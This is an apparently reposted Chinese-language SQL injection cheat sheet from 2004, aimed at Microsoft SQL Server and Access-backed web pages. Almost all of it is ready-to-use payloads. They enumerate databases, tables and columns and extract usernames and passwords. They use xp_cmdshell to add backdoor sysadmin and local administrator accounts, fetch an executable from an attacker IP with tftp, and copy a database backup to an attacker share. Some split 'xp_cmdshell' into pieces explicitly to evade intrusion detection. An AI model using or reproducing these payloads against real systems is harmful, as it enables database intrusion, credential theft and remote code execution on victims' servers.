sql注射总结

sql注射总结
作者:
swap
类别:
漏洞资料库
发布日期:
2004-06-28 12:31:03
总浏览:
57
Sql注射总结(早源于'or'1'='1)
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
---------------------------------
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'—
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')—
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')—
UNION SELECT TOP 1 login_name FROM logintable—
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
and 1=(select @@VERSION)
and 'sa'=(SELECT System_user)
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'xplog70.dll'


1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
   and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U')  得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))      判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794)  所有字段





传统的存在xp_cmdshell的测试过程:
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp –i youip get file.exe';--
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp –i youip get file.exe'—

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
传统查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';--   显示有一个叫ffff的用户哈。
‘and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--

象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--

ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc 'xp_webserver'

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)—

insert into users values( 667,123,123,0xffff)—

insert into users values ( 123, 'admin''--', 'password', 0xffff)—

;and user>0
;;and (select count(*) from sysobjects)>0
 ;;and (select count(*) from mysysobjects)>0   //为access数据库

-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。


post.htm内容:主要是方便输入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:/'

你可能感兴趣的:(sql,object,XP,sqlserver,email,login)